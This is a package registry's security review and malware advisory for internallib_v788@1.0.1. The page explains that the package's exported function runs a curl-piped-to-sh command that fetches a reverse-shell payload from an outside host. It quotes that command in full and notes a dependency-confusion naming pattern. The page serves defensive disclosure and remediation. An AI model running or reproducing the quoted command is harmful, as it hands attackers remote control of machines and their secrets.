registry / internallib_v788 / 1.0.1

internallib_v788@1.0.1

AI Security Review

scanned 10h ago · by lpm-firewall-ai

The exported command downloads and executes a remote shell script.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A caller invokes the exported command.

Impact

Remote code from the endpoint executes with the package user's privileges.

Mechanism

The command runs Bash with curl piped directly into sh.

Attack narrative

Invoking the exported command starts a Bash process that fetches a script from reverse-shell.sh and immediately executes it through sh. The source provides no integrity check or other restriction on the downloaded content.

AI rationale

The main entrypoint exposes an explicit command that downloads and executes remote code, establishing a concrete remote code execution capability. The package has no install lifecycle hook, but that does not mitigate the attack when the exported command is invoked.

Evidence

index.js

Network endpoints1

reverse-shell.sh/10.0.75.246:443

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-17649

Source

OpenSSF Malicious Packages via OSV

internallib_v788 exports a `command` function in index.js (line 5) that executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh"`, fetching a reverse-shell payload from reverse-shell.sh and piping it to a shell. Invoking the exported API opens an interactive reverse shell from the installer's host back to 10.0.75.246:443, giving that endpoint arbitrary command execution on the installer's machine. The package also declares a self-referential dependency on `internallib_v788` with an `internallib_` naming prefix, matching the structural shape of a dependency-confusion artifact targeting a private internal registry name. ## Source: ghsa-malware (e9395ae1eb59e35b8fddb848dfee71475753188ad1fadfe3225f23ada5333cfb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

internallib_v788@1.0.1

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code